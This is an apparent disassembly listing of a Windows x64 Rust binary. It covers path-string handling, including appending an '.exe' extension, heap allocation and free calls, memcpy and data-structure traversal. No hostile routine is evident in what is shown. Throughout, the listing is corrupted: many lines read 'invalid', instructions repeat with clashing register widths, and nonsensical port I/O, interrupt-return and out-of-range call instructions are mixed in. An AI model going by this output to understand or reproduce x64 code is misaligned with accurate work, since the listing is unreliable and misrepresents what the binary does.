lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1400e0e40]
in al, 0xfc
add eax, 0x28ba00
sub byte [rax], al
add byte [rax], al
in al, 0xfc
add eax, 0x28ba00
sub byte [rax], al
add byte [rax], al
call fcn.1400a4530
ud2
add byte [rax], al
mov rsi, rdx
mov rdi, rcx
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
mov rdx, rdi
mov r8, rsi
call fcn.140079610
movzx edx, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [0x1400e817c]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
ror dword [rax - 0x77], 0xf2
ror dword [rax - 0x77], 0xf2
mov r8, rdi
jmp r9
add rcx, 4
jmp 0x1400811ef
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400811ef
mov ecx, 6
jmp 0x1400811ef
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400811ef
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
sub rdx, rcx
jb 0x140081284
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x140081218
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
jmp 0x14008121a
xor eax, eax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm1
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x88], rcx
mov byte [rsp + 0x92], al
mov word [rsp + 0x90], 0x200
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x58]
call fcn.14007f370
cmp byte [rsp + 0x20], 9
mov rdx, qword [rsp + 0x30]
jne 0x140081278
mov rax, qword [rsp + 0x28]
and al, 0x28
jmp 0x14008127a
xor eax, eax
add rsp, 0x98
pop rdi
pop rsi
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a43b0
xor dword [rdx], eax
add byte [rdi], cl
invalid
xor dword [rdx], eax
add byte [rdi], cl
or ecx, esp
int3
mov esi, ecx
mov rbx, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov rcx, rbx
mov rdx, rdi
call fcn.140081170
test rax, rax
je 0x140081412
test byte [rcx + 1], cl
add byte [rax], al
invalid
test byte [rcx + 1], cl
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
cli
add dh, byte [rbp + 0x16]
movzx ecx, word [rax]
cmp ecx, 0x2e2e
jne case.0x14007d19f.235
cmp rdx, 2
cmp edx, 2
jne case.0x14007d19f.235
mov r8d, 2
add byte [rax], al
mov r9, rax
jmp 0x140081326
xor r9d, r9d
mov r8, rdx
nop dword [rax + rax]
test r8, r8
je 0x14008131e
dec eax
cmp byte [rax + rcx - 1], 0x2e
jne 0x1400812f0
out dx, al
mov r10, rdx
sub r10, rcx
jb 0x140081449
add byte [rax], al
add byte [rax], al
test r8, r8
je 0x140081320
mov ecx, eax
add rax, rcx
mov rdx, r10
jmp 0x140081328
invalid
or ch, bl
or byte [rcx - 0x77], cl
ror dword [rcx - 0x77], 0xd0
xor eax, eax
test r9, r9
cmovne rax, r9
cmovne eax, ecx
cmovne eax, ecx
test rax, rax
test eax, eax
je 0x140081412
test r9, r9
cmove r8, rdx
add rax, r8
sub rax, rbx
fmul dword [rax + 0x39]
invalid
jb 0x140081351
fmul dword [rax + 0x39]
invalid
mov qword [rsi + 0x10], rax
mov rdi, rax
adc byte [rax - 0x77], r9b
invalid
mov r15, qword [rsi + 8]
mov rax, r15
sub rax, rdi
cmp rax, 3
cmp eax, 3
ja 0x1400813cd
mov r14, rdi
add r14, 4
jb 0x14008145c
invalid
mov rdx, r14
not rdx
shr rdx, 0x3f
test r15, r15
je 0x140081392
and byte [rax - 0x39], cl
and al, 0x28
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], r15
jmp 0x14008139b
add byte [rax], al
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
mov r8, r14
call fcn.14005bd70
cmp qword [rsp + 0x38], 0
cmp byte [rax], al
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x40]
je 0x14008141e
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x140081457
invalid
add byte [rcx + rdi - 1], cl
cmp rdi, r15
jne case.0x14007a1a1.350
mov rcx, rsi
mov rdx, rdi
mov edx, edi
mov edx, edi
call fcn.14004c7e0
mov rbx, qword [rsi]
mov rdi, qword [rsi + 0x10]
mov byte [rbx + rdi], 0x2e
inc rdi
mov qword [rsi + 0x10], rdi
mov rax, qword [rsi + 8]
or byte [rax + 0x29], cl
clc
or byte [rax + 0x29], cl
clc
cmp rax, 2
jbe 0x140081432
mov rax, qword [rsi]
mov byte [rax + rdi + 2], 0x65
mov word [rax + rdi], 0x7865
add rdi, 3
mov qword [rsi + 0x10], rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov rbx, rcx
mov r15, r14
invalid
cmp rdi, r15
je 0x1400813d2
test dword [rcx + rdi - 1], 0xb2eba274
jmp case.0x14007a1a1.350
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
mov rcx, rsi
mov rdx, rdi
mov edx, edi
call fcn.1400a5460
add byte [rax - 0x75], cl
jle 0x140081457
jmp case.0x14007a34e.344
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_sliceiter.rs
call fcn.1400a43b0
ud2
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x7b]
test ecx, ecx
test rcx, rcx
test ecx, ecx
jne 0x140081463
call fcn.14003bdd0
ud2
test eax, 0xb0ffffb
mov rdx, qword [rsp + 0x48]
call fcn.1400a42a0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
invalid
je 0x1400814d3
js case.0x14007a34e.346
ja 0x140081499
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x1400814b1
xor dh, ch
out dx, al
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add al, byte [rax]
test rax, rax
je 0x1400814c4
invalid
sbb eax, 0x48c18948
mov dword [0x1400f0220], eax
mov rcx, rax
mov ecx, eax
ror dword [rax - 0x77], 5
outsd dx, dword [rsi]
in eax, dx
invalid
mov qword [0x1400f0220], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapAlloc]
jle case.0x14007e8da.123
add byte [rcx - 0x77], cl
invalid
jle case.0x14007e8da.123
add byte [rcx - 0x77], cl
invalid
mov esi, eax
test rax, rax
test eax, eax
jne 0x1400814d9
mov ecx, 1
mov rdx, rsi
call fcn.1400a42a0
invalid
add byte [rax], al
add byte [rax - 0x77], cl
bnd call fcn.1400a42a0
invalid
add byte [rdi], cl
or eax, dword [rcx - 0x42]
add dword [rax], eax
add byte [rax], al
ud2
mov r14d, 1
mov rcx, r14
mov ecx, esi
mov rdx, rbx
mov r8, rsi
invalid
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi], r14
mov dword [rdi], esi
invalid
mov dword [rdi], esi
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
ja 0x140081502
ja 0x140081502
mov byte [rdi + 0x18], 0
sbb byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r14
ret
call fcn.14003bdd0
ud2
test al, 0xfb
dec dword [rdi]
or ecx, esp
int3
int3
int3
push r15
push r14
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
push rax
mov qword [rbp - 8], 0xfffffffffffffffe
mov dword [rbp - 8], 0xfffffffe
mov dword [rbp - 8], 0xfffffffe
clc
invalid
dec dword [rcx + rcx*4 - 0x31]
mov rdi, r9
iretd
mov rbx, r8
mov r14, rdx
mov esi, edx
mov rsi, rcx
test r8, r8
test eax, eax
test eax, eax
je 0x14008158c
js case.0x14007a1a1.353
lahf
add byte [rax], al
add byte [rdi], cl
mov dh, 5
movzx eax, byte [0x1400f02c0]
ja 0x140081534
invalid
mov rcx, qword [0x1400f0220]
test rcx, rcx
jne 0x14008156a
invalid
in al, dx
invalid
adc eax, 0x7dbd15ff
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add al, byte [rax]
add byte [rax - 0x7b], cl
sal byte [rbp + rbx + 0x48], 0x89
ror dword [rax - 0x77], 5
invalid
mov dh, 0xec
invalid
test rax, rax
je 0x14008157d
mov rcx, rax
mov qword [0x1400f0220], rax
add eax, 0x6ecb6
add eax, 0x6ecb6
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
fdivr st(7)
adc eax, 0x27dab
mov r15, rax
mov edi, eax
test rax, rax
jne 0x140081592
mov ecx, 1
mov rdx, rbx
call fcn.1400a42a0
invalid
add byte [rdi], cl
or eax, dword [rcx - 0x41]
add dword [rax], eax
add byte [rax], al
ud2
mov r15d, 1
add byte [rbx + rcx*4 + 0x65], cl
invalid
mov r12, qword [rbp + 0x60]
mov rcx, r15
stc
stc
mov rdx, r14
mov edx, esi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x28], r15
mov dword [rbp - 0x28], edi
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
mov byte [rbp - 0x10], 0
lock add byte [rax - 0x73], cl
invalid
invalid
lock add byte [rax - 0x73], cl
lock add byte [rax - 0x73], cl
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, r12
call fcn.14007e690
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
call 0x1505626de
call 0x1505626de
call 0x1505626de
movups xmmword [rsi], xmm0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
call fcn.14003bdd0
ud2
sub al, ch
invalid
movzx edx, byte [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x48]
lea r8, [0x1400e8198]
lea eax, [0x1400e8198]
lea eax, [0x1400e8198]
invalid
movsxd r9, dword [r8 + rdx*4]
add r9, r8
add ecx, eax
add ecx, eax
mov rdx, rdi
mov r8, rbx
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x14008169a
invalid
xor al, 0x48
lea edx, [rax + 1]
invalid
lea rdx, [rax + 1]
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14008169a
mov ecx, 2
invalid
invalid
jmp 0x14008169a
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14008169a
mov ecx, 2
mov rdx, rdi
cli
sub rdx, rcx
jb case.0x14007eb6e.111
add rcx, rbx
mov r8, rcx
test rdx, rdx
je 0x1400816bf
movzx eax, byte [r8]
cmp al, 0x5c
sete cl
cmp al, 0x2f
sete al
or al, cl
invalid
jmp 0x1400816c1
enter 0x2eb, 0x31
ror byte [rax - 0x77], 0x1e
xor eax, eax
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
and byte [rax - 0x75], r9b
and al, 0x48
and byte [rax - 0x75], r9b
and al, 0x48
mov qword [rsi + 0x30], rcx
mov byte [rsi + 0x3a], al
mov word [rsi + 0x38], 0x200
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor byte [rax - 0x3899c5ba], r9b
cmp byte [rax], r8b
add cl, byte [rax - 0x7d]
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.1400a43b0
ud2
push rsi
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
add dh, bh
invalid
invalid
dec dword [rcx - 0x77]
invalid
add dh, bh
invalid
mov rdx, rcx
lea rcx, [rbp - 0x60]
call fcn.14007f910
cmp dword [rbp - 0x60], 2
jne 0x14008178a
mov rax, qword [rbp - 0x58]
mov ecx, eax
and ecx, 3
xor esi, esi
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x1400817aa
test rcx, rcx
je 0x1400817aa
lea rcx, [rax - 1]
mov qword [rbp - 0x18], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
or byte [rax], al
or byte [rax], al
je 0x1400817cd
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x1400817b6
mov r8, qword [rbp - 8]
jmp 0x1400817be
mov eax, dword [rbp - 0x20]
test eax, 0x400
add byte [rdi], cl
xchg esp, eax
invalid
sal edi, 0x45
in al, 0
add byte [rax], al
and byte [rdi], cl
xchg esp, eax
ret 0xca08
test dword [rbp - 0x1c], 0x20000000
sete dl
or dl, cl
test al, 0x10
sete sil
sete dh
and sil, dl
mov eax, esi
add rsp, 0x88
add esp, 0x88
add esp, 0x88
pop rsi
pop rbp
ret
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
add byte [rcx], dh
sar bh, cl
adc eax, 0x27b63
add byte [rcx], dh
sar bh, cl
adc eax, 0x27b63
mov rcx, qword [0x1400f0220]
xor esi, esi
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x27b4e
adc eax, 0x27b4e
jmp 0x1400817aa
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
lea rbp, [rdx + 0x80]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.1400755d0
cmp eax, 0x8b48ffff
call 0x140a73907
add byte [rax], al
add byte [rax], al
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
mov rax, qword [r8 + 0x18]
mov dword [rax], 1
mov dword [rax + 4], ecx
mov dword [rax + 8], edx
ret
int3
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x30], esi
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x30], esi
mov qword [rbp + 0x28], 0xfffffffffffffffe
mov rbx, r8
mov ebx, eax
mov ebx, eax
mov qword [rbp + 8], rcx
mov rdi, qword [r8 + 8]
mov rsi, qword [r8 + 0x10]
mov r14, qword [rdx]
xor r12d, r12d
xorps xmm6, xmm6
lea r15, [0x1400e81b4]
invalid
add byte [rax - 0x77], cl
jge 0x14008189a
invalid
jge 0x14008189a
mov qword [rbp - 8], rsi
jne 0x140081896
mov r13, rsi
lea rsi, [rbp - 0x38]
cmp r13, rdi
jne 0x1400818c3
jmp 0x1400819a2
cmp r13, rdi
je 0x1400819a2
mov rax, qword [rbx]
add rax, r13
call 0x18d01a215
sub ecx, ebp
call 0x18d01a215
sub ecx, ebp
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x30], ecx
mov dword [rbp - 0x30], ecx
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], r12
mov dword [rbp - 0x20], esp
mov rcx, r14
mov rdx, rsi
call case.0x14007a34e.123
test rax, rax
je 0x1400819c0
invalid
push rdx
mov eax, 0x8548ffff
ror byte [rdi], 0x84
leave
add byte [rax], al
add byte [rcx + 0x3e183c1], cl
mov ecx, eax
and ecx, 3
movsxd rcx, dword [r15 + rcx*4]
add rcx, r15
jmp rcx
invalid
loope case.0x14007f006.103
js 0x140081917
and ecx, dword [rdi]
test dword [rdi], esp
add al, byte [rax]
add byte [rax], al
mov rcx, rax
dec rcx
dec rcx
mov qword [rbp + 0x10], rcx
mov rcx, qword [rax - 1]
dec dword [rax - 0x75]
invalid
invalid
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x18], rax
adc byte [r8 - 0x75], r9b
adc byte [rax - 0x75], cl
dec qword [rax - 0x75]
invalid
call qword [rax]
mov rax, qword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
mov eax, dword [rbp + 0x18]
cmp qword [rax + 8], 0
je 0x140081986
cmp qword [rax + 0x10], 0x11
jae 0x14008196f
js 0x14008194a
adc dword [rbx + 0x32], esi
mov r8, qword [rbp + 0x20]
jmp 0x140081977
invalid
xor al, 0x66
nop word cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, rax
shr rcx, 0x20
cmp ecx, 0x28
sub byte [rdi], cl
xchg esi, edx
add dword [rax], eax
invalid
sub byte [rdi], cl
xchg esi, edx
add dword [rax], eax
add byte [rax - 0x7d], cl
stc
and ecx, dword [rdi]
test esp, ecx
add dword [rax], eax
add byte [rax], al
invalid
invalid
cmp rcx, 0x23
jne 0x140081b36
add byte [rax], al
add byte [rax], al
jmp case.0x14007ec92.90
mov r8, qword [rbp + 0x20]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs byte [0xaa15ffd2310006e8], al
jns 0x140081987
add al, byte [rax]
add byte [rax - 0x75], cl
or eax, 0x6e893
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0x10]
adc r15b, r15b
adc eax, 0x27997
adc r15b, r15b
adc eax, 0x27997
cmp r13, rdi
jne 0x1400818c3
mov r8d, 0x20
mov rcx, rbx
invalid
mov rdx, rdi
call fcn.1400a5460
mov rdi, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
jmp 0x1400818c3
invalid
mov rsi, qword [rbp - 0x28]
mov esi, dword [rbp - 0x28]
test rsi, rsi
je 0x140081b86
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
loopne 0x140081a1b
mov rax, qword [rbp - 0x20]
mov r12, rax
mov esp, eax
sub r12, rsi
jb 0x140081bb1
invalid
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov edx, dword [rbp - 0x30]
cmp rax, rdx
ja 0x140081bc5
add rsi, r13
mov rdx, qword [rbp - 0x30]
mov edx, dword [rbp - 0x30]
cmp rax, rdx
ja 0x140081bc5
add rsi, r13
mov qword [rbx + 0x10], rsi
cmp rdi, qword [rbp]
jne case.0x14007ec3b.97
test dword [rbx + 0x48fffffe], esp
cmp esi, edi
cmp rsi, rdi
jne case.0x14007ec3b.97
movaps xmmword [rbp - 0x50], xmm6
movaps xmmword [rbp - 0x60], xmm6
mov r9d, 0x20
and byte [rax], al
add byte [rax], al
lea rsi, [rbp - 0x18]
mov rcx, rsi
mov rdx, r14
lea rdi, [rbp - 0x60]
lea rdi, [rbp - 0x60]
jmp case.0x14008165d.12
cmp byte [rax + 0x10], 0x23
jne 0x140081b5d
and ecx, dword [rdi]
test dword [rcx], esi
add dword [rax], eax
add byte [rcx - 0x47], al
and byte [rax], al
add byte [rax], al
add byte [rax], al
mov r9d, 0x20
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.14007d3f0
cmp qword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
je case.default.0x140081a62
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rbp - 0x10]
mov ecx, eax
and ecx, 3
lea rdx, [0x1400e81c4]
invalid
invalid
add byte [rax + 0x63], cl
or al, 0x8a
add rcx, rdx
jmp rcx
invalid
adc byte [r8 - 0x75], r9b
dec qword [rax - 0x75]
invalid
mov r13, qword [rbp - 0x10]
test r13, r13
je 0x140081b6f
cmp r13, 0x21
jae 0x140081b9b
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, qword [rbp]
mov edx, dword [rbp]
mov edx, dword [rbp]
mov r8, r13
call fcn.1400a5460
mov rdi, qword [rbx + 8]
mov rsi, qword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov esi, dword [rbx + 0x10]
mov rcx, qword [rbx]
add rcx, rsi
or ecx, dword [rax + 1]
int1
lea rdx, [rbp - 0x60]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
mov qword [rbx + 0x10], rsi
jmp case.0x14007ec3b.97
mov rcx, qword [rbp + 8]
mov qword [rcx + 8], rax
mov qword [rcx], 1
movaps xmm6, xmmword [rbp + 0x30]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 8]
mov qword [rcx + 8], rax
mov eax, 1
mov qword [rcx], rax
jmp 0x140081b45
mov rax, qword [rbp]
sub rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
mov qword [rcx + 8], rax
xor eax, eax
mov qword [rcx], rax
jmp 0x140081b45
sub r13, qword [rbp - 8]
mov rax, qword [rbp + 8]
mov qword [rax + 8], r13
mov qword [rax], 0
jmp 0x140081b45
lea r8, [0x1400e0cb0]
mov edx, 0x20
mov rcx, r13
call fcn.1400a44b0
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rsi
mov rdx, rax
call fcn.1400a4780
ud2
lea r8, str.library_std_srcio_readbuf.rs
mov rcx, rax
call fcn.1400a44b0
ud2
xor eax, eax
mov r8, qword [rbp + 0x4a8]
test r15, r15
je 0x140082c0f
test r13, r13
je 0x140082390
test rbx, rbx
jne 0x140082390
mov r13d, 1
test r8, r8
je 0x14008239a
mov rdx, r8
and rdx, 7
je 0x14008239f
mov rcx, r8
and rcx, 0xfffffffffffffff8
mov rbx, rax
nop word [rax + rax]
mov rbx, qword [rbx + 0x3d8]
dec rdx
jne 0x140082370
cmp r8, 8
jae 0x1400823b0
jmp 0x1400823ee
test r13, r13
jne 0x1400823f3
jmp 0x14008573a
mov rbx, rax
jmp 0x1400823ee
mov rbx, rax
mov rcx, r8
cmp r8, 8
jb 0x1400823ee
nop dword [rax + rax]
mov rax, qword [rbx + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rbx, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x1400823b0
xor r8d, r8d
xor eax, eax
movzx ecx, word [rbx + 0x3d2]
mov rsi, rbx
mov r12, r8
cmp r8, rcx
jb 0x140082438
nop word cs:[rax + rax]
mov rcx, qword [rsi + 0x160]
test rcx, rcx
je 0x140085320
movzx r12d, word [rsi + 0x3d0]
inc rax
mov rsi, rcx
cmp r12w, word [rcx + 0x3d2]
jae 0x140082410
test rax, rax
je 0x1400824d0
mov rbx, qword [rsi + r12*8 + 0x3e0]
mov rcx, rax
dec rcx
je 0x1400824be
mov rdx, rcx
and rdx, 7
je 0x140082475
mov rcx, rdx
nop dword [rax]
mov rbx, qword [rbx + 0x3d8]
dec rcx
jne 0x140082460
not rdx
add rdx, rax
mov rcx, rdx
add rax, 0xfffffffffffffffe
cmp rax, 7
jb 0x1400824be
nop
mov rax, qword [rbx + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
mov rax, qword [rax + 0x3d8]
add byte [rax - 0x75], cl
sbb al, 3
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 3
add byte [rax], al
mov rax, qword [rax + 0x3d8]
mov rbx, qword [rax + 0x3d8]
add rcx, 0xfffffffffffffff8
jne 0x140082480
xor r8d, r8d
jmp 0x1400824d8
lea r8, [r12 + 1]
mov rbx, rsi
dec r15
imul rax, r12, 0x38
lea r14, [rsi + rax]
add r14, 0x168
shl r12, 5
cmp byte [rsi + r12 + 0x18], 2
jne 0x140082560
mov rdi, qword [rbp + 0x4c0]
mov eax, 0
test rdi, rdi
je 0x140082339
mov r12, r8
mov rsi, r13
mov r9, qword [r14]
mov rax, qword [r14 + 0x10]
mov r13, qword [rbp + 0x4c8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x560]
mov rdx, rdi
mov r8, r13
call fcn.140088460
cmp qword [rbp + 0x560], 0
je 0x1400827c9
xor eax, eax
mov r13, rsi
mov r8, r12
jmp 0x140082339
mov rdi, qword [r14 + 0x18]
mov rax, qword [r14 + 0x28]
mov qword [rbp + 0x5b8], rax
test rax, rax
mov qword [rbp + 0x4a8], r8
je 0x1400825c6
js 0x1400857a1
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x1400825aa
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140085757
mov qword [0x1400f0220], rax
mov rcx, rax
xor edx, edx
mov r8, qword [rbp + 0x5b8]
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
jne 0x1400825cb
jmp 0x140085757
mov eax, 1
mov qword [rbp + 0x580], r13
mov qword [rbp + 0x5a8], rax
mov rcx, rax
mov rdx, rdi
mov r8, qword [rbp + 0x5b8]
call sub.VCRUNTIME140.dll_memcpy
movzx edi, byte [r14 + 0x30]
mov rdx, qword [r14]
mov r13, qword [r14 + 0x10]
mov r14d, 2
test r13, r13
mov qword [rbp + 0x598], r15
je 0x140082680
mov rax, r13
shr rax, 0x3e
jne 0x140085786
mov r15, r13
add r15, r13
je 0x140082680
mov qword [rbp + 0x4e8], rdx
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x14008264e
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400857ab
mov qword [0x1400f0220], rax
mov rcx, rax
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400857ab
mov r14, rax
mov rdx, qword [rbp + 0x4e8]
jmp 0x140082683
xor r15d, r15d
add rsi, r12
mov rcx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x5a8]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x5b8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov byte [rbp], dil
mov eax, dword [rbp + 0x4f0]
mov ecx, dword [rbp + 0x4f3]
lea rdx, [rbp + 1]
mov dword [rdx], eax
mov dword [rdx + 3], ecx
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
mov r13, qword [rsi]
mov rdi, qword [rsi + 0x10]
test rdi, rdi
je 0x14008272d
mov r15, qword [rbp + 0x598]
js 0x140085790
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x140082712
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14008576d
mov qword [0x1400f0220], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x14008273a
jmp 0x14008576d
mov r14d, 1
mov r15, qword [rbp + 0x598]
mov rcx, r14
mov rdx, r13
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [rsi + 0x18]
mov qword [rbp + 0x4f0], r14
mov qword [rbp + 0x4f8], rdi
mov qword [rbp + 0x500], rdi
mov byte [rbp + 0x508], al
mov byte [rbp + 0x5b7], 0
lea rcx, [rbp + 0x430]
lea rdx, [rbp + 0x4c0]
lea r8, [rbp - 0x30]
lea r9, [rbp + 0x4f0]
call fcn.140086ce0
cmp byte [rbp + 0x448], 2
mov r13, qword [rbp + 0x580]
je 0x140082330
cmp qword [rbp + 0x438], 0
je 0x140082330
mov r8, qword [rbp + 0x430]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140082330
mov rax, qword [rbp + 0x568]
mov rdx, qword [rbp + 0x570]
mov rcx, qword [rbp + 0x578]
mov byte [rbp + 0x3e0], 0
test rdx, rdx
je 0x140082955
mov rax, qword [rax + rcx*8 + 0x3d8]
mov rcx, rdx
dec rcx
je 0x1400828be
mov r8, rcx
and r8, 7
je 0x14008282e
mov rcx, r8
nop
movzx r9d, word [rax + 0x3d2]
mov rax, qword [rax + r9*8 + 0x3d8]
dec rcx
